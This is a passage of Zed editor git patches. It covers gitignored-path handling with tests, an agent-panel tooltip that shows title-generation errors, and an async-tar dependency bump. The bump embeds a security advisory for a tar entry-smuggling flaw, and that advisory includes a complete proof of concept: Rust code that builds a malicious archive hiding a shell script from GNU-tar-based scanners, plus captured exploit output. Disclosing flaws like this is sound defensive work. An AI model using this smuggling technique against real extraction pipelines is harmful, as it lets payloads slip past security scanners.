 crates/zed/src/zed.rs                         | 89 +++++++++++++++++++
 4 files changed, 184 insertions(+), 14 deletions(-)

diff --git a/crates/project/src/project.rs b/crates/project/src/project.rs
index 6a08a291e31d88..5f104cf312800b 100644
--- a/crates/project/src/project.rs
+++ b/crates/project/src/project.rs
@@ -2520,17 +2520,20 @@ impl Project {
             .filter_map(|worktree| {
                 let worktree = worktree.read(cx);
                 let abs_path = worktree.abs_path();
-                let relative_path = path_style.strip_prefix(path, abs_path.as_ref());
-                let is_dir = relative_path
-                    .as_ref()
-                    .and_then(|p| worktree.entry_for_path(p))
-                    .is_some_and(|e| e.is_dir());
+                let relative_path = path_style.strip_prefix(path, abs_path.as_ref())?;
                 // Don't exclude the worktree root itself, only actual subdirectories
-                let is_subdir = relative_path
-                    .as_ref()
-                    .is_some_and(|p| !p.as_ref().as_unix_str().is_empty());
-                let contains =
-                    relative_path.is_some() && (!exclude_sub_dirs || !is_dir || !is_subdir);
+                let is_subpath = !relative_path.is_empty();
+                // Gitignored subtrees aren't scanned, so their contents don't
+                // meaningfully belong to this project (e.g. nested checkouts
+                // in an ignored directory). Treat such paths as not contained
+                // so opening them behaves like opening an unrelated path.
+                if is_subpath && worktree.is_path_ignored(&relative_path) {
+                    return None;
+                }
+                let is_dir = worktree
+                    .entry_for_path(&relative_path)
+                    .is_some_and(|e| e.is_dir());
+                let contains = !exclude_sub_dirs || !is_dir || !is_subpath;
                 contains.then(|| worktree.is_visible())
             })
             .max()
@@ -2551,10 +2554,9 @@ impl Project {
             .filter_map(|worktree| {
                 let worktree = worktree.read(cx);
                 let abs_path = worktree.abs_path();
-                let relative_path = path_style.strip_prefix(path, abs_path.as_ref());
-                let is_subpath = relative_path
-                    .as_ref()
-                    .is_some_and(|p| !p.as_ref().as_unix_str().is_empty());
+                let relative_path = path_style.strip_prefix(path, abs_path.as_ref())?;
+                let is_subpath =
+                    !relative_path.is_empty() && !worktree.is_path_ignored(&relative_path);
                 is_subpath.then(|| worktree.is_visible())
             })
             .max()
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 2b2ba5dece60ef..e4a730f1bc1923 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -8636,6 +8636,74 @@ async fn test_search_in_gitignored_dirs(cx: &mut gpui::TestAppContext) {
     );
 }
 
+#[gpui::test]
+async fn test_visibility_for_paths_in_gitignored_dirs(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/dir"),
+        json!({
+            ".git": {},
+            ".gitignore": ".checkouts/\n",
+            "src": {
+                "main.rs": "fn main() {}"
+            },
+            ".checkouts": {
+                "worktrees": {
+                    "foo": {
+                        "README.md": "hello"
+                    }
+                }
+            },
+        }),
+    )
+    .await;
+    let project = Project::test(fs.clone(), [path!("/dir").as_ref()], cx).await;
+    cx.run_until_parked();
+
+    project.read_with(cx, |project, cx| {
+        let root = PathBuf::from(path!("/dir"));
+        let file = PathBuf::from(path!("/dir/src/main.rs"));
+        let ignored_dir = PathBuf::from(path!("/dir/.checkouts/worktrees/foo"));
+        let file_in_ignored_dir = PathBuf::from(path!("/dir/.checkouts/worktrees/foo/README.md"));
+
+        assert_eq!(
+            project.visibility_for_paths(std::slice::from_ref(&root), true, cx),
+            Some(true)
+        );
+        assert_eq!(
+            project.visibility_for_paths(std::slice::from_ref(&file), true, cx),
+            Some(true)
+        );
+        assert_eq!(
+            project.visibility_for_subpaths(std::slice::from_ref(&file), cx),
+            Some(true)
+        );
+
+        // Paths inside gitignored directories aren't scanned, so they aren't
+        // considered contained by the project; opening one should behave like
+        // opening an unrelated path.
+        for path in [&ignored_dir, &file_in_ignored_dir] {
+            assert_eq!(
+                project.visibility_for_paths(std::slice::from_ref(path), true, cx),
+                None,
+                "{path:?} should not be considered contained"
+            );
+            assert_eq!(
+                project.visibility_for_paths(std::slice::from_ref(path), false, cx),
+                None,
+                "{path:?} should not be considered contained"
+            );
+            assert_eq!(
+                project.visibility_for_subpaths(std::slice::from_ref(path), cx),
+                None,
+                "{path:?} should not be considered a contained subpath"
+            );
+        }
+    });
+}
+
 #[gpui::test]
 async fn test_search_with_unicode(cx: &mut gpui::TestAppContext) {
     init_test(cx);
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index ee04ab6d7bc75c..ab414f08709d04 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -2808,6 +2808,17 @@ impl Snapshot {
         })
     }
 
+    /// Whether `path` is gitignored, or lies inside a gitignored directory.
+    ///
+    /// The contents of ignored directories aren't scanned until explicitly
+    /// expanded, so when `path` has no entry this falls back to the ignore
+    /// status of its nearest scanned ancestor.
+    pub fn is_path_ignored(&self, path: &RelPath) -> bool {
+        path.ancestors()
+            .find_map(|ancestor| self.entry_for_path(ancestor))
+            .is_some_and(|entry| entry.is_ignored)
+    }
+
     /// Resolves a path to an executable using the following heuristics:
     ///
     /// 1. If the path starts with `~`, it is expanded to the user's home directory.
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index d4b394429a7eb6..1029c82ef6cdbc 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -6222,6 +6222,95 @@ mod tests {
         assert_eq!(cx.windows().len(), 1, "Should still have only 1 window");
     }
 
+    #[gpui::test]
+    async fn test_open_paths_in_gitignored_dir_opens_new_workspace(cx: &mut TestAppContext) {
+        let app_state = init_test(cx);
+
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(
+                path!("/project"),
+                json!({
+                    ".git": {},
+                    ".gitignore": ".checkouts/\n",
+                    "src": {
+                        "main.rs": "fn main() {}"
+                    },
+                    ".checkouts": {
+                        "worktrees": {
+                            "foo": {
+                                "README.md": "hello"
+                            }
+                        }
+                    }
+                }),
+            )
+            .await;
+
+        cx.update(|cx| {
+            open_paths(
+                &[PathBuf::from(path!("/project"))],
+                app_state.clone(),
+                workspace::OpenOptions::default(),
+                cx,
+            )
+        })
+        .await
+        .unwrap();
+        cx.run_until_parked();
+        assert_eq!(cx.update(|cx| cx.windows().len()), 1);
+
+        // Opening a directory inside a gitignored folder must not be treated
+        // as contained by the open project: its contents were never scanned,
+        // and it may be an independent checkout (e.g. a git worktree kept in
+        // an ignored directory). It should become its own workspace root
+        // instead.
+        cx.update(|cx| {
+            open_paths(
+                &[PathBuf::from(path!("/project/.checkouts/worktrees/foo"))],
+                app_state.clone(),
+                workspace::OpenOptions::default(),
+                cx,
+            )
+        })
+        .await
+        .unwrap();
+        cx.run_until_parked();
+
+        let workspace_roots = cx.update(|cx| {
+            cx.windows()
+                .into_iter()
+                .filter_map(|window| window.downcast::<MultiWorkspace>())
+                .flat_map(|window| {
+                    let mut roots = Vec::new();
+                    if let Ok(multi_workspace) = window.read(cx) {
+                        for workspace in multi_workspace.workspaces() {
+                            roots.push(
+                                workspace
+                                    .read(cx)
+                                    .worktrees(cx)
+                                    .map(|worktree| worktree.read(cx).abs_path().to_path_buf())
+                                    .collect::<Vec<_>>(),
+                            );
+                        }
+                    }
+                    roots
+                })
+                .collect::<Vec<_>>()
+        });
+        assert!(
+            workspace_roots.contains(&vec![PathBuf::from(path!(
+                "/project/.checkouts/worktrees/foo"
+            ))]),
+            "the gitignored directory should be the root of its own workspace, got {workspace_roots:?}"
+        );
+        assert!(
+            workspace_roots.contains(&vec![PathBuf::from(path!("/project"))]),
+            "the original project workspace should be unchanged, got {workspace_roots:?}"
+        );
+    }
+
     #[gpui::test]
     async fn test_quit_checks_all_workspaces_for_dirty_items(cx: &mut TestAppContext) {
         let app_state = init_test(cx);

From d94ca551bcf727226f2562c9c1d2c8d61504a456 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Tue, 14 Jul 2026 17:48:02 +0200
Subject: [PATCH 454/772] agent: Show title generation error in tooltip
 (#60982)

Closes #57117

<img width="305" height="84" alt="image"
src="https://github.com/user-attachments/assets/5626040c-5c3f-4f3f-8931-31331406015e"
/>

Release Notes:

- agent: Show actual error message when title generation fails

---------

Co-authored-by: Martin Ye <martin@zed.dev>
---
 crates/agent/src/tests/mod.rs      |  7 ++++++
 crates/agent/src/thread.rs         | 38 ++++++++++++++++++------------
 crates/agent_ui/src/agent_panel.rs | 15 ++++++++----
 3 files changed, 41 insertions(+), 19 deletions(-)

diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index df466b880519b5..22d05feb8802c1 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -3842,6 +3842,11 @@ async fn test_title_generation_failure_allows_retry(cx: &mut TestAppContext) {
     thread.read_with(cx, |thread, _| {
         assert_eq!(thread.title(), None);
         assert!(thread.has_failed_title_generation());
+        assert!(
+            thread
+                .title_generation_error()
+                .is_some_and(|error| error.contains("Internal server error"))
+        );
         assert!(!thread.is_generating_title());
     });
 
@@ -3852,6 +3857,7 @@ async fn test_title_generation_failure_allows_retry(cx: &mut TestAppContext) {
 
     thread.read_with(cx, |thread, _| {
         assert!(!thread.has_failed_title_generation());
+        assert_eq!(thread.title_generation_error(), None);
         assert!(thread.is_generating_title());
     });
 
@@ -3862,6 +3868,7 @@ async fn test_title_generation_failure_allows_retry(cx: &mut TestAppContext) {
     thread.read_with(cx, |thread, _| {
         assert_eq!(thread.title(), Some("Retried title".into()));
         assert!(!thread.has_failed_title_generation());
+        assert_eq!(thread.title_generation_error(), None);
         assert!(!thread.is_generating_title());
     });
 }
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 8dd22ec3febecf..585e9eb82ae375 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -1219,7 +1219,7 @@ pub struct Thread {
     updated_at: DateTime<Utc>,
     title: Option<SharedString>,
     pending_title_generation: Option<Task<()>>,
-    title_generation_failed: bool,
+    title_generation_error: Option<SharedString>,
     pending_summary_generation: Option<Shared<Task<Option<SharedString>>>>,
     summary: Option<SharedString>,
     messages: Vec<Arc<Message>>,
@@ -1369,7 +1369,7 @@ impl Thread {
             updated_at: Utc::now(),
             title: None,
             pending_title_generation: None,
-            title_generation_failed: false,
+            title_generation_error: None,
             pending_summary_generation: None,
             summary: None,
             messages: Vec::new(),
@@ -1748,7 +1748,7 @@ impl Thread {
                 Some(db_thread.title.clone())
             },
             pending_title_generation: None,
-            title_generation_failed: false,
+            title_generation_error: None,
             pending_summary_generation: None,
             summary: db_thread.detailed_summary,
             messages: db_thread.messages,
@@ -3751,7 +3751,11 @@ impl Thread {
     }
 
     pub fn has_failed_title_generation(&self) -> bool {
-        self.title_generation_failed
+        self.title_generation_error.is_some()
+    }
+
+    pub fn title_generation_error(&self) -> Option<SharedString> {
+        self.title_generation_error.clone()
     }
 
     pub fn can_generate_title(&self) -> bool {
@@ -3854,7 +3858,7 @@ impl Thread {
         on_generated_title: Option<Box<dyn FnOnce(SharedString, &mut Context<Self>)>>,
         cx: &mut Context<Self>,
     ) {
-        self.title_generation_failed = false;
+        self.title_generation_error = None;
         log::debug!("Generating title with model: {:?}", model.name());
 
         let temperature = AgentSettings::temperature_for_model(&model, cx);
@@ -3865,22 +3869,26 @@ impl Thread {
                 .await
                 .context("failed to generate thread title")
                 .map(SharedString::from)
-                .log_err()
         });
 
         self.pending_title_generation = Some(cx.spawn(async move |this, cx| {
             let title = title_generation.await;
             _ = this.update(cx, |this, cx| {
                 this.pending_title_generation = None;
-                if let Some(title) = title {
-                    this.set_title(title.clone(), cx);
-                    if let Some(on_generated_title) = on_generated_title {
-                        on_generated_title(title, cx);
+                match title {
+                    Ok(title) => {
+                        this.set_title(title.clone(), cx);
+                        if let Some(on_generated_title) = on_generated_title {
+                            on_generated_title(title, cx);
+                        }
+                    }
+                    Err(error) => {
+                        let error = format!("{error:#}");
+                        log::error!("{error}");
+                        this.title_generation_error = Some(error.into());
+                        cx.emit(TitleUpdated);
+                        cx.notify();
                     }
-                } else {
-                    this.title_generation_failed = true;
-                    cx.emit(TitleUpdated);
-                    cx.notify();
                 }
             });
         }));
@@ -3889,7 +3897,7 @@ impl Thread {
 
     pub fn set_title(&mut self, title: SharedString, cx: &mut Context<Self>) {
         self.pending_title_generation = None;
-        self.title_generation_failed = false;
+        self.title_generation_error = None;
         if Some(&title) != self.title.as_ref() {
             self.title = Some(title);
             cx.emit(TitleUpdated);
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index bf6f61295b3ba0..c610bf0a06a06c 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -5333,9 +5333,9 @@ impl AgentPanel {
                 let is_generating_title = native_thread
                     .as_ref()
                     .is_some_and(|thread| thread.read(cx).is_generating_title());
-                let title_generation_failed = native_thread
+                let title_generation_error = native_thread
                     .as_ref()
-                    .is_some_and(|thread| thread.read(cx).has_failed_title_generation());
+                    .and_then(|thread| thread.read(cx).title_generation_error());
 
                 if let Some(title_editor) = server_view_ref
                     .root_thread_view()
@@ -5374,7 +5374,7 @@ impl AgentPanel {
                             })
                             .child(title_editor);
 
-                        if title_generation_failed {
+                        if let Some(title_generation_error) = title_generation_error {
                             h_flex()
                                 .w_full()
                                 .gap_1()
@@ -5383,7 +5383,14 @@ impl AgentPanel {
                                     IconButton::new("retry-thread-title", IconName::XCircle)
                                         .icon_color(Color::Error)
                                         .icon_size(IconSize::Small)
-                                        .tooltip(Tooltip::text("Title generation failed. Retry"))
+                                        .tooltip(move |_window, cx| {
+                                            Tooltip::with_meta(
+                                                "Title generation failed. Click to retry.",
+                                                None,
+                                                title_generation_error.clone(),
+                                                cx,
+                                            )
+                                        })
                                         .on_click({
                                             let conversation_view = conversation_view.clone();
                                             let workspace = self.workspace.clone();

From a1230fc5847e881f584cad2694a3885747572f2a Mon Sep 17 00:00:00 2001
From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com>
Date: Tue, 14 Jul 2026 16:21:54 +0000
Subject: [PATCH 455/772] Update Rust crate async-tar to 0.6.0 [SECURITY]
 (#60623)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [async-tar](https://redirect.github.com/dignifiedquire/async-tar) |
workspace.dependencies | minor | `0.5.1` → `0.6.0` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/15138) for more information.

---

### async-tar PAX extension-header desync enables tar entry/content
smuggling
[CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) /
[GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

<details>
<summary>More information</summary>

#### Details
##### Summary

`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an
intermediary
extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX
`x`/`g`
header) instead of to the next *file* entry. POSIX requires a PAX
extended-header
record set to describe the next file entry, never an intervening
extension
header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered
PAX
records into the size computation of whatever raw header it reads next —
and that
header can be an intermediary `L` — the stream cursor is advanced by an
attacker-chosen amount when the `L` body is consumed. The parser then
desyncs
relative to a POSIX-correct tar parser (e.g. GNU tar), reading
subsequent bytes
at the wrong block boundary.

An attacker who can influence a tar stream that an `async-tar` consumer
extracts
can construct an `x → L → file` sequence whose entry list and on-disk
result
differ between `async-tar` and a reference parser. This enables
content/entry
smuggling: a file that a GNU-tar-based scanner/validator/AV sees as
benign opaque
data is extracted by `async-tar` as a different file with different
bytes (e.g. an
executable script), and vice versa.

Type confusion / improper validation of the specified quantity (size).
CWE-20,
CWE-843. Severity assessed Medium, consistent with the same defect class
in the
upstream tar-rs / tokio-tar lineage.

##### Affected code

Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest
release) and
current `main` HEAD. Both lack the extension-header guard.

`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,
commit `45814b19295b7398e119c90c57d8c8bf70a798b6`):

```rust
    let file_pos = *next;

    let mut header = current_header.take().unwrap();

    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data {   // <-- no is_extension_header guard
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            let extension = extension.map_err(|_e| other("pax extensions invalid"))?;
            let Some(key) = extension.key().ok() else { continue };
            match key {
                "size" => {
                    let size_str = extension.value()
                        .map_err(|_e| other("failed to parse pax size as string"))?;
                    size = size_str.parse::<u64>()
                        .map_err(|_e| other("failed to parse pax size"))?;
                }
                "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }
                "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }
                _ => { continue }
            }
        }
    }

    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size
```

and a few lines further down the same function:

```rust
    // Store where the next entry is, rounding up by 512 bytes.
    let size = (size + 511) & !(512 - 1);
    *next += size;                                          // cursor advance = mis-applied PAX size
```

The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX
local
extension into `current_pax_extensions` and then calls `poll_next_raw`
with
`current_pax_extensions.as_deref()` for the *next* raw header. When that
next
raw header is an intermediary GNU longname (handled by the
`is_gnu_longname()`
branch a few lines later), the PAX `size` is applied to it, so `*next`
advances by
the spoofed size rather than the `L` header's own declared size. That is
the
desync.

The buffered PAX records are intended to apply only to the following
*file*
entry; the missing check is whether the raw header currently being sized
is itself
an extension header (`L`/`K`/`x`/`g`).

##### Impact

Differential extraction / entry smuggling. A consumer that extracts an
attacker-influenced tar stream with `async-tar` (e.g. a server endpoint
that
unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that
unpacks
a remote tarball, an archive-preview/scan pipeline) will:

- materialize files / file contents that a POSIX-correct parser (GNU
tar,
  libarchive/bsdtar) does not surface, and
- omit or alter files that the reference parser does surface.

This breaks any security control that relies on scanning the archive
with one
parser and extracting with `async-tar`: a malware/secret scanner reading
the
stream with GNU tar can be made to see only benign data while
`async-tar` writes
an executable payload to disk. It can also be used to hide entries from
audit/inventory tooling, or to write content to a path the reviewer
believes
holds something else. No attacker-controlled local state is required —
only the
ability to influence the bytes of the tar stream that the consumer
extracts.

##### How input reaches the sink (reachability)

The vulnerable path is the library's primary public API for reading
archives:
`Archive::new(reader).entries()` returns an `Entries` stream whose
`poll_next`
drives `poll_next_raw` for every header. Any consumer that iterates
entries (or
calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream
reaches
the sink with no additional configuration. The `reader` need not be a
file — it is
any `AsyncRead`, so an upload buffer, an HTTP response body, or a
decompressor
output all qualify. The only precondition for the desync is that the
stream
contain a PAX local-extension header (`x`) carrying a `size` record
immediately
followed by an intermediary GNU longname (`L`) before the next file
header — a
structure the attacker fully controls in the archive bytes.
Representative
reachable consumers are server endpoints that unpack uploaded
`.tar`/`.tar.gz`
bodies, dependency/artifact fetchers that unpack remote tarballs, and
archive-scan/preview pipelines.

##### Proof of concept

A standalone Rust consumer binary that links the published crates.io
`async-tar = "=0.6.0"` (`default-features = false, features =
["runtime-tokio"]`)
and runs the real `Archive::new(...).entries()` extraction loop (the
same shape
used by real downstream server consumers that unpack uploaded tarballs).
It reads
a tar file and writes each entry to a destination directory, printing
the entry
list `async-tar` surfaces. A second binary hand-crafts the malicious and
benign
tar byte streams.

Malicious archive geometry (block = 512 bytes):

```
B0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)
B1     PAX records  ("<len> size=1024\n")
B2  L  GNU longname header, OWN declared size = 512 (= 1 block)
B3     longname block #&#8203;1  = "GNU_SEES_THIS.txt\0..."   (the name GNU tar uses)
B4     a normal file header "placeholder_A" (size 512)
B5     <-- this block IS a valid tar header for the smuggled file
           "hidden_payload.sh" (size 65)
B6     smuggled payload  "#!/bin/sh\n# SMUGGLED ENTRY...\n"
B7,B8  two zero blocks (EOF)
```

GNU tar honours the `L` header's own declared size (1 block) for the
longname and
ignores the buffered PAX `size`, so it reads B3 as the longname, treats
B4 as the
file, and reads B5 as that file's opaque data. `async-tar` mis-applies
the PAX
`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands
its cursor
on B5, parses it as a tar header, and extracts the smuggled
`hidden_payload.sh`
body (B6).

Tar-builder source (`mktar.rs`):

```rust
use std::io::Write;
const BLOCK: usize = 512;

fn octal(buf: &mut [u8], v: u64) {
    let s = format!("{:0width$o}", v, width = buf.len() - 1);
    let b = s.as_bytes();
    buf[..b.len()].copy_from_slice(b);
    buf[b.len()] = 0;
}

fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {
    let mut h = [0u8; BLOCK];
    let n = name.len().min(100);
    h[..n].copy_from_slice(&name[..n]);
    octal(&mut h[100..108], 0o644);
    octal(&mut h[108..116], 0);
    octal(&mut h[116..124], 0);
    octal(&mut h[124..136], size);
    octal(&mut h[136..148], 0);
    h[156] = typeflag;
    if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar  \0"); }
    else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); }
    for b in &mut h[148..156] { *b = b' '; }
    let sum: u32 = h.iter().map(|b| *b as u32).sum();
    h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes());
    h
}

fn pad(out: &mut Vec<u8>, len: usize) {
    let rem = len % BLOCK;
    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }
}
fn pax_record(key: &str, val: &str) -> Vec<u8> {
    let mut len = key.len() + val.len() + 3;
    loop {
        let s = format!("{} {}={}\n", len, key, val);
        if s.len() == len { return s.into_bytes(); }
        len = s.len();
    }
}
fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }
fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }

fn build_malicious() -> Vec<u8> {
    let mut out = Vec::new();
    let gnu_name = b"GNU_SEES_THIS.txt";
    let spoof = (BLOCK * 2) as u64;
    let mut recs = Vec::new();
    recs.extend(pax_record("size", &spoof.to_string()));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    out.extend_from_slice(&header(b"././@&#8203;LongLink", BLOCK as u64, b'L'));
    out.extend_from_slice(&name_block(gnu_name));                 // B3
    out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4
    let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec();
    out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5
    write_block(&mut out, &smuggled_body);                        // B6
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn build_benign() -> Vec<u8> {
    let mut out = Vec::new();
    let mut recs = Vec::new();
    recs.extend(pax_record("path", "normal_file.txt"));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    let body = b"plain benign content\n".to_vec();
    out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0'));
    write_block(&mut out, &body);
    let body2 = b"second benign file\n".to_vec();
    out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0'));
    write_block(&mut out, &body2);
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn main() {
    let a: Vec<String> = std::env::args().collect();
    let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) };
    std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();
}
```

Consumer source (`main.rs`, mirrors a real `Archive::entries()`
extraction loop):

```rust
use async_tar::Archive;
use tokio::fs;
use tokio::io::AsyncReadExt;
use tokio_stream::StreamExt;

#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() {
    let args: Vec<String> = std::env::args().collect();
    let dest = std::path::PathBuf::from(&args[2]);
    fs::create_dir_all(&dest).await.unwrap();
    let bytes = fs::read(&args[1]).await.unwrap();
    let archive = Archive::new(std::io::Cursor::new(bytes));
    let mut entries = archive.entries().expect("entries()");
    let mut idx = 0usize;
    while let Some(entry) = entries.next().await {
        let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } };
        let path_raw = file.path().expect("path").into_owned();
        let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string();
        let hdr_size = file.header().size().unwrap_or(0);
        let mut out = dest.clone();
        for comp in std::path::PathBuf::from(&path_disp).components() {
            if let std::path::Component::Normal(p) = comp { out.push(p); }
        }
        let mut body = Vec::new();
        let read = file.read_to_end(&mut body).await.unwrap_or(0);
        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }
        let _ = fs::write(&out, &body).await;
        let preview: String = body.iter().take(48)
            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();
        println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp);
        idx += 1;
    }
    println!("[async-tar] total entries surfaced: {idx}");
}
```

`Cargo.toml`:

```toml
[dependencies]
async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] }
tokio-stream = "0.1"
futures = "0.3"
```

##### End-to-end reproduction

Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release
linked by
the consumer binary above. Verbatim captured output:

```
$ cargo build --release        # links async-tar v0.6.0 from crates.io
   Compiling async-tar v0.6.0
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s) in 10.12s

$ ./target/release/mktar malicious mal.tar
wrote 4608 bytes to mal.tar

##### ---- (A) GNU tar reference: list + extract ----
$ gtar tvf mal.tar ; echo "rc=$?"
-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt
rc=0
$ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?"
rc=0
$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt
hidden_payload.sh

##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header
#####  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)

##### ---- (B) async-tar v0.6.0 consumer: extract ----
$ ./target/release/extract mal.tar /tmp/at_mal
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t"
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt

#!/bin/sh
##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner
```

Same bytes, two parsers, different on-disk result: GNU tar writes a
1024-byte
benign blob; `async-tar` writes a 65-byte executable shell script that
the
reference parser never exposes as an entry. The smuggled `#!/bin/sh`
body is
content a GNU-tar-based scanner would never inspect.

Negative control — a benign archive (correct PAX usage: `x` applies
`path` to the
following file, no intermediary `L`):

```
$ ./target/release/mktar benign ben.tar
$ gtar tvf ben.tar ; echo "rc=$?"
-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt
-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt
rc=0
$ ./target/release/extract ben.tar /tmp/at_ben
[async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content."
[async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file."
[async-tar] total entries surfaced: 2
```

GNU tar and `async-tar` produce identical entry lists and identical
on-disk files.
No smuggling. The differential is exclusive to the `x → L → file` desync
sequence.

##### Fix

Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides)
only when
the raw header being sized is NOT itself an extension header. Skip the
override
for GNU longname (`L`), GNU longlink (`K`), and PAX local/global
(`x`/`g`) headers,
whose body length must come from their own declared size. This mirrors
the fix
adopted in the upstream tar-rs / tokio-tar lineage for the same defect
class.

```rust
    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // PAX extensions describe the NEXT file entry, not an intermediary
    // extension header. Applying a buffered PAX `size` to such an intermediary
    // header (L/K/x/g) advances the stream cursor by the wrong amount and
    // desyncs the parse.
    let entry_type = header.entry_type();
    let is_extension_header = entry_type.is_gnu_longname()
        || entry_type.is_gnu_longlink()
        || entry_type.is_pax_local_extensions()
        || entry_type.is_pax_global_extensions();

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            // unchanged: same size/uid/gid override loop as before
        }
    }
```

Fix-verify, captured verbatim. The patched `async-tar` (guard added)
re-run
against the same `mal.tar`:

```
$ cargo build --release        # [patch.crates-io] async-tar = { path = "../async-tar-patched" }
   Compiling async-tar v0.6.0 (.../async-tar-patched)
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s)
$ ./target/release/extract mal.tar /tmp/at_fix
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................."
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt
hidden_payload.sh
```

